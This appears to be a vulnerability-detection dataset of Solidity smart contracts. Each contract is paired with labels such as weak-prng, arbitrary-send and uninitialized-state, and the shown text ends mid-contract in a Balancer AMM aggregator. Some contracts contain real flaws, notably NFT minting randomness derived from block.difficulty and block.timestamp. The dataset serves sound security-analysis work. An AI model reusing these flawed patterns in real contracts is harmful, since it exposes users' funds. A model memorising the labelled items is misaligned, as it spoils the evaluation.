* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) shadowing-state with High impact
3) arbitrary-send with High impact
4) msg-value-loop with High impact
5) unused-return with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface NFT {
function mint(address to, uint id, uint amount, bytes memory data) external;
function mintBatch(address to, uint[] memory ids, uint[] memory amounts, bytes memory data) external;
}
contract Owned {
bool initialised;
address public owner;
event OwnershipTransferred(address indexed from, address indexed to);
modifier onlyOwner {
require(msg.sender == owner, "Not owner");
_;
}
function initOwned() internal {
require(!initialised, "Already initialised");
owner = msg.sender;
initialised = true;
}
function transferOwnership(address _newOwner) public onlyOwner {
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// ----------------------------------------------------------------------------
// BokkyPooBah's ZombieBabyAdoptionCentre
//
// Send 0 value or < fee tx to this contract to receive a single random NFT
// Send >= fee tx to this contract to receive a set of NFTs
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2021. The MIT Licence.
// ----------------------------------------------------------------------------
contract ZombieBabyAdoptionCentre is Owned {
NFT public nft;
uint public paused;
uint public fee;
uint[] _ids;
event FeeUpdated(uint[] ids);
event IdsUpdated(uint[] ids);
event PausedToggled(bool paused);
event RefundedETH(uint amount);
constructor(NFT _nft, uint _fee, uint[] memory __ids) {
initOwned();
fee = _fee;
nft = _nft;
_setIds(__ids);
}
function setFee(uint _fee) public onlyOwner {
fee = _fee;
}
function _setIds(uint[] memory __ids) internal {
_ids = __ids;
emit IdsUpdated(__ids);
}
function setIds(uint[] memory __ids) public onlyOwner {
_setIds(__ids);
}
function ids() public view returns (uint[] memory __ids) {
return _ids;
}
function togglePaused() public onlyOwner {
paused = 1 - paused;
emit PausedToggled(paused == 1);
}
function withdraw() external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {
require(paused == 0, "Paused");
// Mint a random NFT
if (msg.value < fee) {
uint randomIndex = uint(keccak256(abi.encodePacked(block.difficulty, block.timestamp))) % _ids.length;
nft.mint(msg.sender, _ids[randomIndex], 1, "");
// Mint set
} else {
uint[] memory amounts = new uint[](_ids.length);
for (uint i = 0; i < _ids.length; i++) {
amounts[i] = 1;
}
nft.mintBatch(msg.sender, _ids, amounts, "");
uint refund = msg.value - fee;
if (refund > 0) {
payable(msg.sender).transfer(refund);
emit RefundedETH(refund);
}
}
}
} | These are the vulnerabilities found
1) weak-prng with High impact |
// File: contracts\amm-aggregator\common\AMMData.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
struct LiquidityPoolData {
address liquidityPoolAddress;
uint256 amount;
address tokenAddress;
bool amountIsLiquidityPool;
bool involvingETH;
address receiver;
}
struct SwapData {
bool enterInETH;
bool exitInETH;
address[] liquidityPoolAddresses;
address[] path;
address inputToken;
uint256 amount;
address receiver;
}
// File: contracts\amm-aggregator\common\IAMM.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
interface IAMM {
event NewLiquidityPoolAddress(address indexed);
function info() external view returns(string memory name, uint256 version);
function data() external view returns(address ethereumAddress, uint256 maxTokensPerLiquidityPool, bool hasUniqueLiquidityPools);
function balanceOf(address liquidityPoolAddress, address owner) external view returns(uint256, uint256[] memory, address[] memory);
function byLiquidityPool(address liquidityPoolAddress) external view returns(uint256, uint256[] memory, address[] memory);
function byTokens(address[] calldata liquidityPoolTokens) external view returns(uint256, uint256[] memory, address, address[] memory);
function byPercentage(address liquidityPoolAddress, uint256 numerator, uint256 denominator) external view returns (uint256, uint256[] memory, address[] memory);
function byLiquidityPoolAmount(address liquidityPoolAddress, uint256 liquidityPoolAmount) external view returns(uint256[] memory, address[] memory);
function byTokenAmount(address liquidityPoolAddress, address tokenAddress, uint256 tokenAmount) external view returns(uint256, uint256[] memory, address[] memory);
function createLiquidityPoolAndAddLiquidity(address[] calldata tokenAddresses, uint256[] calldata amounts, bool involvingETH, address receiver) external payable returns(uint256, uint256[] memory, address, address[] memory);
function addLiquidity(LiquidityPoolData calldata data) external payable returns(uint256, uint256[] memory, address[] memory);
function addLiquidityBatch(LiquidityPoolData[] calldata data) external payable returns(uint256[] memory, uint256[][] memory, address[][] memory);
function removeLiquidity(LiquidityPoolData calldata data) external returns(uint256, uint256[] memory, address[] memory);
function removeLiquidityBatch(LiquidityPoolData[] calldata data) external returns(uint256[] memory, uint256[][] memory, address[][] memory);
function getSwapOutput(address tokenAddress, uint256 tokenAmount, address[] calldata, address[] calldata path) view external returns(uint256[] memory);
function swapLiquidity(SwapData calldata data) external payable returns(uint256);
function swapLiquidityBatch(SwapData[] calldata data) external payable returns(uint256[] memory);
}
// File: contracts\amm-aggregator\util\IERC20.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
interface IERC20 {
function totalSupply() external view returns(uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
}
// File: contracts\amm-aggregator\models\Balancer\1\IBalancerAMMV1.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
//pragma abicoder v2;
interface IBalancerAMMV1 is IAMM {
}
interface IWETH {
function deposit() external payable;
function withdraw(uint wad) external;
function totalSupply() external view returns (uint);
function approve(address guy, uint wad) external returns (bool);
function transfer(address dst, uint wad) external returns (bool);
function transferFrom(address src, address dst, uint wad)
external
returns (bool);
}
interface BPool {
function isPublicSwap()
external view
returns (bool);
function isFinalized()
external view
returns (bool);
function isBound(address t)
external view
returns (bool);
function getNumTokens()
external view
returns (uint);
function getCurrentTokens()
external view
returns (address[] memory tokens);
function getFinalTokens()
external view
returns (address[] memory tokens);
function getDenormalizedWeight(address token)
external view
returns (uint);
function getTotalDenormalizedWeight()
external view
returns (uint);
function getNormalizedWeight(address token)
external view
returns (uint);
function getBalance(address token)
external view
returns (uint);
function getSwapFee()
external view
returns (uint);
function getController()
external view
returns (address);
function calcOutGivenIn(
uint tokenBalanceIn,
uint tokenWeightIn,
uint tokenBalanceOut,
uint tokenWeightOut,
uint tokenAmountIn,
uint swapFee
)
external pure
returns (uint tokenAmountOut);
function calcInGivenOut(
uint tokenBalanceIn,
uint tokenWeightIn,
uint tokenBalanceOut,
uint tokenWeightOut,
uint tokenAmountOut,
uint swapFee
)
external pure
returns (uint tokenAmountIn);
function setSwapFee(uint swapFee)
external;
function setController(address manager)
external;
function setPublicSwap(bool public_)
external;
function finalize()
external;
function bind(address token, uint balance, uint denorm)
external;
function rebind(address token, uint balance, uint denorm)
external;
function unbind(address token)
external;
function gulp(address token)
external;
function getSpotPrice(address tokenIn, address tokenOut)
external view
returns (uint spotPrice);
function getSpotPriceSansFee(address tokenIn, address tokenOut)
external view
returns (uint spotPrice);
function joinPool(uint poolAmountOut, uint[] calldata maxAmountsIn)
external;
function exitPool(uint poolAmountIn, uint[] calldata minAmountsOut)
external;
function swapExactAmountIn(
address tokenIn,
uint tokenAmountIn,
address tokenOut,
uint minAmountOut,
uint maxPrice
)
external
returns (uint tokenAmountOut, uint spotPriceAfter);
function swapExactAmountOut(
address tokenIn,
uint maxAmountIn,
address tokenOut,
uint tokenAmountOut,
uint maxPrice
)
external
returns (uint tokenAmountIn, uint spotPriceAfter);
function joinswapExternAmountIn(address tokenIn, uint tokenAmountIn, uint minPoolAmountOut)
external
returns (uint poolAmountOut);
function joinswapPoolAmountOut(address tokenIn, uint poolAmountOut, uint maxAmountIn)
external
returns (uint tokenAmountIn);
function exitswapPoolAmountIn(address tokenOut, uint poolAmountIn, uint minAmountOut)
external
returns (uint tokenAmountOut);
function exitswapExternAmountOut(address tokenOut, uint tokenAmountOut, uint maxPoolAmountIn)
external
returns (uint poolAmountIn);
}
// File: contracts\amm-aggregator\common\AMM.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
//pragma abicoder v2;
abstract contract AMM is IAMM {
struct ProcessedLiquidityPoolData {
address liquidityPoolAddress;
uint256 liquidityPoolAmount;
address[] liquidityPoolTokens;
uint256[] tokensAmounts;
bool involvingETH;
address liquidityPoolOperator;
address receiver;
}
struct ProcessedSwapData {
bool enterInETH;
bool exitInETH;
address[] liquidityPoolAddresses;
address[] path;
address liquidityPoolOperator;
address inputToken;
uint256 amount;
address receiver;
}
mapping(address => uint256) private _tokenIndex;
address[] private _tokensToTransfer;
address[] private _operators;
uint256[] private _tokenAmounts;
string internal _name;
uint256 internal immutable _version;
address internal immutable _ethereumAddress;
uint256 internal immutable _maxTokensPerLiquidityPool;
bool internal immutable _hasUniqueLiquidityPools;
constructor(string memory name, uint256 version, address ethereumAddress, uint256 maxTokensPerLiquidityPool, bool hasUniqueLiquidityPools) {
_name = name;
_version = version;
_ethereumAddress = ethereumAddress;
_maxTokensPerLiquidityPool = maxTokensPerLiquidityPool;
_hasUniqueLiquidityPools = hasUniqueLiquidityPools;
}
receive() external virtual payable {
}
function info() view public virtual override returns(string memory, uint256) {
return (_name, _version);
}
function data() view public virtual override returns(address, uint256, bool) {
return (_ethereumAddress, _maxTokensPerLiquidityPool, _hasUniqueLiquidityPools);
}
function balanceOf(address liquidityPoolAddress, address owner) view public virtual override returns (uint256 liquidityPoolAmount, uint256[] memory tokensAmounts, address[] memory liquidityPoolTokens) {
(tokensAmounts, liquidityPoolTokens) = byLiquidityPoolAmount(liquidityPoolAddress, liquidityPoolAmount = IERC20(liquidityPoolAddress).balanceOf(owner));
}
function byPercentage(address liquidityPoolAddress, uint256 numerator, uint256 denominator) view public virtual override returns (uint256 liquidityPoolAmount, uint256[] memory tokensAmounts, address[] memory liquidityPoolTokens) {
(liquidityPoolAmount, tokensAmounts, liquidityPoolTokens) = this.byLiquidityPool(liquidityPoolAddress);
liquidityPoolAmount = calculatePercentage(liquidityPoolAmount, numerator, denominator);
for(uint256 i = 0; i < tokensAmounts.length; i++) {
tokensAmounts[i] = calculatePercentage(tokensAmounts[i], numerator, denominator);
}
}
function byLiquidityPoolAmount(address liquidityPoolAddress, uint256 liquidityPoolAmount) view public virtual override returns(uint256[] memory tokensAmounts, address[] memory liquidityPoolTokens) {
uint256 numerator = liquidityPoolAmount;
uint256 denominator;
(denominator, tokensAmounts, liquidityPoolTokens) = this.byLiquidityPool(liquidityPoolAddress);
for(uint256 i = 0; i < tokensAmounts.length; i++) {
tokensAmounts[i] = calculatePercentage(tokensAmounts[i], numerator, denominator);
}
}
function byTokenAmount(address liquidityPoolAddress, address tokenAddress, uint256 tokenAmount) view public virtual override returns(uint256 liquidityPoolAmount, uint256[] memory tokensAmounts, address[] memory liquidityPoolTokens) {
(liquidityPoolAmount, tokensAmounts, liquidityPoolTokens) = this.byLiquidityPool(liquidityPoolAddress);
uint256 numerator = tokenAmount;
uint256 denominator;
for(uint256 i = 0; i < liquidityPoolTokens.length; i++) {
if(liquidityPoolTokens[i] == tokenAddress) {
denominator = tokensAmounts[i];
break;
}
}
liquidityPoolAmount = calculatePercentage(liquidityPoolAmount, numerator, denominator);
for(uint256 i = 0; i < tokensAmounts.length; i++) {
tokensAmounts[i] = calculatePercentage(tokensAmounts[i], numerator, denominator);
}
}
function calculatePercentage(uint256 amount, uint256 numerator, uint256 denominator) internal virtual pure returns(uint256) {
return (amount * numerator) / denominator;
}
function createLiquidityPoolAndAddLiquidity(address[] memory tokenAddresses, uint256[] memory amounts, bool involvingETH, address receiver) payable public virtual override returns(uint256 liquidityPoolAmount, uint256[] memory tokensAmounts, address liquidityPoolAddress, address[] memory orderedTokens) {
require(tokenAddresses.length > 1 && tokenAddresses.length == amounts.length && (_maxTokensPerLiquidityPool == 0 || tokenAddresses.length == _maxTokensPerLiquidityPool), "Invalid length");
if(_hasUniqueLiquidityPools) {
(liquidityPoolAmount, tokensAmounts, liquidityPoolAddress, orderedTokens) = this.byTokens(tokenAddresses);
if(liquidityPoolAddress != address(0)) {
(liquidityPoolAmount, tokensAmounts, orderedTokens) = addLiquidity(LiquidityPoolData(
liquidityPoolAddress,
amounts[0],
tokenAddresses[0],
false,
involvingETH,
receiver
));
return (liquidityPoolAmount, tokensAmounts, liquidityPoolAddress, orderedTokens);
}
}
address liquidityPoolCreator = _getLiquidityPoolCreator(tokenAddresses, amounts, involvingETH);
_transferToMeAndCheckAllowance(tokenAddresses, amounts, liquidityPoolCreator, involvingETH);
(liquidityPoolAmount, tokensAmounts, liquidityPoolAddress, orderedTokens) = _createLiquidityPoolAndAddLiquidity(tokenAddresses, amounts, involvingETH, liquidityPoolCreator, receiver);
emit NewLiquidityPoolAddress(liquidityPoolAddress);
}
function addLiquidity(LiquidityPoolData memory data) payable public virtual override returns(uint256 liquidityPoolAmount, uint256[] memory tokensAmounts, address[] memory liquidityPoolTokens) {
ProcessedLiquidityPoolData memory processedLiquidityPoolData = _processLiquidityPoolData(data);
_transferToMeAndCheckAllowance(liquidityPoolTokens = processedLiquidityPoolData.liquidityPoolTokens, processedLiquidityPoolData.tokensAmounts, processedLiquidityPoolData.liquidityPoolOperator, data.involvingETH);
(liquidityPoolAmount, tokensAmounts) = _addLiquidity(processedLiquidityPoolData);
_flushBack(liquidityPoolTokens);
}
function addLiquidityBatch(LiquidityPoolData[] memory data) payable public virtual override returns(uint256[] memory liquidityPoolAmounts, uint256[][] memory tokensAmounts, address[][] memory liquidityPoolTokens) {
liquidityPoolAmounts = new uint256[](data.length);
tokensAmounts = new uint256[][](data.length);
liquidityPoolTokens = new address[][](data.length);
ProcessedLiquidityPoolData[] memory processedLiquidityPoolDataArray = new ProcessedLiquidityPoolData[](data.length);
for(uint256 i = 0; i < data.length; i++) {
liquidityPoolTokens[i] = (processedLiquidityPoolDataArray[i] = _processLiquidityPoolData(data[i])).liquidityPoolTokens;
for(uint256 z = 0; z < liquidityPoolTokens[i].length; z++) {
_collect(liquidityPoolTokens[i][z], processedLiquidityPoolDataArray[i].tokensAmounts[z], processedLiquidityPoolDataArray[i].liquidityPoolOperator, processedLiquidityPoolDataArray[i].involvingETH);
}
}
_transferToMeAndCheckAllowance();
_collect(_ethereumAddress, 0, address(0), false);
for(uint256 i = 0; i < processedLiquidityPoolDataArray.length; i++) {
(liquidityPoolAmounts[i], tokensAmounts[i]) = _addLiquidity(processedLiquidityPoolDataArray[i]);
}
_flushBackAndClear();
}
function removeLiquidity(LiquidityPoolData memory data) public virtual override returns(uint256 liquidityPoolAmount, uint256[] memory tokensAmounts, address[] memory liquidityPoolTokens) {
ProcessedLiquidityPoolData memory processedLiquidityPoolData = _processLiquidityPoolData(data);
liquidityPoolTokens = processedLiquidityPoolData.liquidityPoolTokens;
_transferToMeAndCheckAllowance(processedLiquidityPoolData.liquidityPoolAddress, processedLiquidityPoolData.liquidityPoolAmount, processedLiquidityPoolData.liquidityPoolOperator);
(liquidityPoolAmount, tokensAmounts) = _removeLiquidity(processedLiquidityPoolData);
_flushBack(processedLiquidityPoolData.liquidityPoolAddress);
}
function removeLiquidityBatch(LiquidityPoolData[] memory data) public virtual override returns(uint256[] memory liquidityPoolAmounts, uint256[][] memory tokensAmounts, address[][] memory liquidityPoolTokens) {
liquidityPoolAmounts = new uint256[](data.length);
tokensAmounts = new uint256[][](data.length);
liquidityPoolTokens = new address[][](data.length);
ProcessedLiquidityPoolData[] memory processedLiquidityPoolDataArray = new ProcessedLiquidityPoolData[](data.length);
for(uint256 i = 0; i < data.length; i++) {
processedLiquidityPoolDataArray[i] = _processLiquidityPoolData(data[i]);
liquidityPoolTokens[i] = processedLiquidityPoolDataArray[i].liquidityPoolTokens;
_collect(processedLiquidityPoolDataArray[i].liquidityPoolAddress, processedLiquidityPoolDataArray[i].liquidityPoolAmount, processedLiquidityPoolDataArray[i].liquidityPoolOperator, false);
}
_transferToMeAndCheckAllowance();
for(uint256 i = 0; i < processedLiquidityPoolDataArray.length; i++) {
(liquidityPoolAmounts[i], tokensAmounts[i]) = _removeLiquidity(processedLiquidityPoolDataArray[i]);
}
_flushBackAndClear();
}
function swapLiquidity(SwapData memory data) payable public virtual override returns(uint256 outputAmount) {
ProcessedSwapData memory processedSwapData = _processSwapData(data);
_transferToMeAndCheckAllowance(processedSwapData.inputToken == _ethereumAddress && processedSwapData.enterInETH ? address(0) : processedSwapData.inputToken, processedSwapData.amount, processedSwapData.liquidityPoolOperator);
outputAmount = _swapLiquidity(processedSwapData);
_flushBack(processedSwapData.enterInETH ? address(0) : processedSwapData.inputToken);
}
function swapLiquidityBatch(SwapData[] memory data) payable public virtual override returns(uint256[] memory outputAmounts) {
ProcessedSwapData[] memory processedSwapDatas = new ProcessedSwapData[](data.length);
outputAmounts = new uint256[](data.length);
for(uint256 i = 0; i < data.length; i++) {
processedSwapDatas[i] = _processSwapData(data[i]);
_collect(processedSwapDatas[i].inputToken, processedSwapDatas[i].amount, processedSwapDatas[i].liquidityPoolOperator, processedSwapDatas[i].enterInETH);
}
_transferToMeAndCheckAllowance();
for(uint256 i = 0; i < data.length; i++) {
outputAmounts[i] = _swapLiquidity(processedSwapDatas[i]);
}
_flushBackAndClear();
}
function _getLiquidityPoolOperator(address liquidityPoolAddress, address[] memory liquidityPoolTokens) internal virtual view returns(address);
function _addLiquidity(ProcessedLiquidityPoolData memory processedLiquidityPoolData) internal virtual returns(uint256, uint256[] memory);
function _removeLiquidity(ProcessedLiquidityPoolData memory processedLiquidityPoolData) internal virtual returns(uint256, uint256[] memory);
function _swapLiquidity(ProcessedSwapData memory data) internal virtual returns(uint256 outputAmount);
function _getLiquidityPoolCreator(address[] memory tokenAddresses, uint256[] memory amounts, bool involvingETH) internal virtual view returns(address);
function _createLiquidityPoolAndAddLiquidity(address[] memory tokenAddresses, uint256[] memory amounts, bool involvingETH, address operator, address receiver) internal virtual returns(uint256 liquidityPoolAmount, uint256[] memory tokensAmounts, address liquidityPoolAddress, address[] memory orderedTokens);
function _processLiquidityPoolData(LiquidityPoolData memory data) internal view returns(ProcessedLiquidityPoolData memory) {
require(data.amount > 0, "Zero amount");
uint256[] memory tokensAmounts;
address[] memory liquidityPoolTokens;
uint256 liquidityPoolAmount;
if(data.amountIsLiquidityPool) {
(tokensAmounts, liquidityPoolTokens) = byLiquidityPoolAmount(data.liquidityPoolAddress, liquidityPoolAmount = data.amount);
} else {
(liquidityPoolAmount, tokensAmounts, liquidityPoolTokens) = byTokenAmount(data.liquidityPoolAddress, data.tokenAddress, data.amount);
}
bool involvingETH = data.involvingETH;
if(_ethereumAddress == address(0)) {
involvingETH = false;
for(uint256 i = 0; i < liquidityPoolTokens.length; i++) {
if(liquidityPoolTokens[i] == address(0)) {
involvingETH = true;
}
}
}
return ProcessedLiquidityPoolData(
data.liquidityPoolAddress,
liquidityPoolAmount,
liquidityPoolTokens,
tokensAmounts,
involvingETH,
_getLiquidityPoolOperator(data.liquidityPoolAddress, liquidityPoolTokens),
data.receiver == address(0) ? msg.sender : data.receiver
);
}
function _processSwapData(SwapData memory data) internal view returns(ProcessedSwapData memory) {
require(data.amount > 0, "Zero amount");
require(data.path.length > 0 && data.liquidityPoolAddresses.length == data.path.length, "Invalid length");
( , ,address[] memory liquidityPoolTokens) = this.byLiquidityPool(data.liquidityPoolAddresses[0]);
return ProcessedSwapData(
data.enterInETH && data.inputToken == _ethereumAddress,
data.exitInETH && data.path[data.path.length - 1] == _ethereumAddress,
data.liquidityPoolAddresses,
data.path,
_getLiquidityPoolOperator(data.liquidityPoolAddresses[0], liquidityPoolTokens),
data.inputToken,
data.amount,
data.receiver == address(0) ? msg.sender : data.receiver
);
}
function _collect(address tokenAddress, uint256 tokenAmount, address operator, bool involvingETH) private {
address realTokenAddress = involvingETH && tokenAddress == _ethereumAddress ? address(0) : tokenAddress;
uint256 position = _tokenIndex[realTokenAddress];
if(_tokensToTransfer.length == 0 || _tokensToTransfer[position] != realTokenAddress) {
_tokenIndex[realTokenAddress] = (position = _tokensToTransfer.length);
_tokensToTransfer.push(realTokenAddress);
_operators.push(operator);
_tokenAmounts.push(0);
}
_tokenAmounts[position] = _tokenAmounts[position] + tokenAmount;
}
function _transferToMeAndCheckAllowance(address[] memory tokens, uint256[] memory amounts, address operator, bool involvingETH) internal {
for(uint256 i = 0; i < tokens.length; i++) {
_transferToMeAndCheckAllowance(involvingETH && tokens[i] == _ethereumAddress ? address(0) : tokens[i] , amounts[i], operator);
}
}
function _transferToMeAndCheckAllowance(address tokenAddress, uint256 value, address operator) internal {
_transferToMe(tokenAddress, value);
_checkAllowance(tokenAddress, value, operator);
}
function _transferToMeAndCheckAllowance() private {
for(uint256 i = 0; i < _tokensToTransfer.length; i++) {
_transferToMeAndCheckAllowance(_tokensToTransfer[i], _tokenAmounts[i], _operators[i]);
}
}
function _flushBackAndClear() private {
for(uint256 i = 0; i < _tokensToTransfer.length; i++) {
delete _tokenIndex[_tokensToTransfer[i]];
_flushBack(_tokensToTransfer[i]);
}
_flushBack(address(0));
delete _tokensToTransfer;
delete _operators;
delete _tokenAmounts;
}
function _transferToMe(address tokenAddress, uint256 value) internal virtual {
if(tokenAddress == address(0)) {
require(msg.value == value, "Incorrect eth value");
return;
}
_safeTransferFrom(tokenAddress, msg.sender, address(this), value);
}
function _flushBack(address[] memory tokenAddresses) internal {
for(uint256 i = 0; i < tokenAddresses.length; i++) {
_flushBack(tokenAddresses[i]);
}
_flushBack(address(0));
}
function _flushBack(address tokenAddress) internal {
uint256 amount = tokenAddress == address(0) ? address(this).balance : IERC20(tokenAddress).balanceOf(address(this));
if(amount == 0) {
return;
}
if(tokenAddress == address(0)) {
if(address(this).balance >= amount) {
payable(msg.sender).transfer(amount);
}
return;
}
if(IERC20(tokenAddress).balanceOf(address(this)) >= amount) {
_safeTransfer(tokenAddress, msg.sender, amount);
}
}
function _checkAllowance(address tokenAddress, uint256 value, address operator) private {
if(tokenAddress == address(0) || operator == address(0)) {
return;
}
IERC20 token = IERC20(tokenAddress);
if(token.allowance(address(this), operator) <= value) {
_safeApprove(tokenAddress, operator, token.totalSupply());
}
}
function _safeApprove(address erc20TokenAddress, address to, uint256 value) internal {
bytes memory returnData = _call(erc20TokenAddress, abi.encodeWithSelector(IERC20(erc20TokenAddress).approve.selector, to, value));
require(returnData.length == 0 || abi.decode(returnData, (bool)), 'APPROVE_FAILED');
}
function _safeTransfer(address erc20TokenAddress, address to, uint256 value) internal {
bytes memory returnData = _call(erc20TokenAddress, abi.encodeWithSelector(IERC20(erc20TokenAddress).transfer.selector, to, value));
require(returnData.length == 0 || abi.decode(returnData, (bool)), 'TRANSFER_FAILED');
}
function _safeTransferFrom(address erc20TokenAddress, address from, address to, uint256 value) internal {
bytes memory returnData = _call(erc20TokenAddress, abi.encodeWithSelector(IERC20(erc20TokenAddress).transferFrom.selector, from, to, value));
require(returnData.length == 0 || abi.decode(returnData, (bool)), 'TRANSFERFROM_FAILED');
}
function _call(address location, bytes memory payload) private returns(bytes memory returnData) {
assembly {
let result := call(gas(), location, 0, add(payload, 0x20), mload(payload), 0, 0)
let size := returndatasize()
returnData := mload(0x40)
mstore(returnData, size)
let returnDataPayloadStart := add(returnData, 0x20)
returndatacopy(returnDataPayloadStart, 0, size)
mstore(0x40, add(returnDataPayloadStart, size))
switch result case 0 {revert(returnDataPayloadStart, size)}
}
}
}
// File: contracts\amm-aggregator\models\Balancer\1\BalancerAMMV1.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
//pragma abicoder v2;
contract BalancerAMMV1 is IBalancerAMMV1, AMM {
uint public constant BONE = 10**18;
bool private _multi;
constructor(address wethAddressInput) AMM("Balancer", 1, wethAddressInput, 0, false) {
}
function _getLiquidityPoolOperator(address, address[] memory) internal override virtual view returns(address) {
return address(0);
}
function byLiquidityPool(address liquidityPoolAddress) public override view returns(uint256 liquidityPoolAmount, uint256[] memory tokensAmounts, address[] memory tokenAddresses) {
BPool pool = BPool(liquidityPoolAddress);
liquidityPoolAmount = IERC20(liquidityPoolAddress).totalSupply();
tokenAddresses = pool.getFinalTokens();
tokensAmounts = new uint256[](tokenAddresses.length);
for(uint256 i = 0; i < tokensAmounts.length; i++) {
tokensAmounts[i] = pool.getBalance(tokenAddresses[i]);
}
}
function calculatePercentage(uint256 amount, uint256 numerator, uint256 denominator) internal virtual pure override returns(uint256) {
return bmul(bdiv(numerator, denominator), amount);
}
function byLiquidityPoolAmount(address liquidityPoolAddress, uint256 liquidityPoolAmount) view public virtual override(IAMM, AMM) returns(uint256[] memory tokensAmounts, address[] memory liquidityPoolTokens) {
uint256 numerator = liquidityPoolAmount;
uint256 denominator;
(denominator, tokensAmounts, liquidityPoolTokens) = byLiquidityPool(liquidityPoolAddress);
for(uint256 i = 0; i < tokensAmounts.length; i++) {
tokensAmounts[i] = bmul(bdiv(numerator, denominator), tokensAmounts[i]);
}
}
function byTokens(address[] memory) public override view returns(uint256 liquidityPoolAmount, uint256[] memory tokensAmounts, address liquidityPoolAddress, address[] memory orderedTokens) {
return (liquidityPoolAmount, tokensAmounts, liquidityPoolAddress, orderedTokens);
}
function getSwapOutput(address tokenAddress, uint256 tokenAmount, address[] calldata liquidityPoolAddresses, address[] calldata path) view public virtual override returns(uint256[] memory realAmounts) {
realAmounts = new uint256[](path.length + 1);
realAmounts[0] = tokenAmount;
for(uint256 i = 0 ; i < path.length; i++) {
BPool bPool = BPool(liquidityPoolAddresses[i]);
address tokenIn = i == 0 ? tokenAddress : path[i - 1];
tokenIn = tokenIn == address(0) ? _ethereumAddress : tokenIn;
address tokenOut = path[i] == address(0) ? _ethereumAddress : path[i];
realAmounts[i + 1] = bPool.calcOutGivenIn(
IERC20(tokenIn).balanceOf(liquidityPoolAddresses[i]),
bPool.getNormalizedWeight(tokenIn),
IERC20(tokenOut).balanceOf(liquidityPoolAddresses[i]),
bPool.getNormalizedWeight(tokenOut),
realAmounts[i],
bPool.getSwapFee()
);
}
}
function _getLiquidityPoolCreator(address[] memory, uint256[] memory, bool) internal virtual view override returns(address) {
return address(0);
}
function _createLiquidityPoolAndAddLiquidity(address[] memory, uint256[] memory, bool, address, address) internal virtual override returns(uint256, uint256[] memory, address, address[] memory) {
revert("Balancer");
}
function _addLiquidity(ProcessedLiquidityPoolData memory data) internal override virtual returns(uint256 liquidityPoolAmount, uint256[] memory tokensAmounts) {
for(uint256 i = 0; i < data.liquidityPoolTokens.length; i++) {
if(data.involvingETH && data.liquidityPoolTokens[i] == _ethereumAddress) {
IWETH(_ethereumAddress).deposit{value : data.tokensAmounts[i]}();
}
_safeApprove(data.liquidityPoolTokens[i], data.liquidityPoolAddress, data.tokensAmounts[i]);
}
BPool(data.liquidityPoolAddress).joinPool(liquidityPoolAmount = data.liquidityPoolAmount, tokensAmounts = data.tokensAmounts);
_safeTransfer(data.liquidityPoolAddress, data.receiver, liquidityPoolAmount);
}
function _removeLiquidity(ProcessedLiquidityPoolData memory data) internal override virtual returns(uint256 liquidityPoolAmount, uint256[] memory tokensAmounts) {
BPool(data.liquidityPoolAddress).exitPool(liquidityPoolAmount = data.liquidityPoolAmount, data.tokensAmounts);
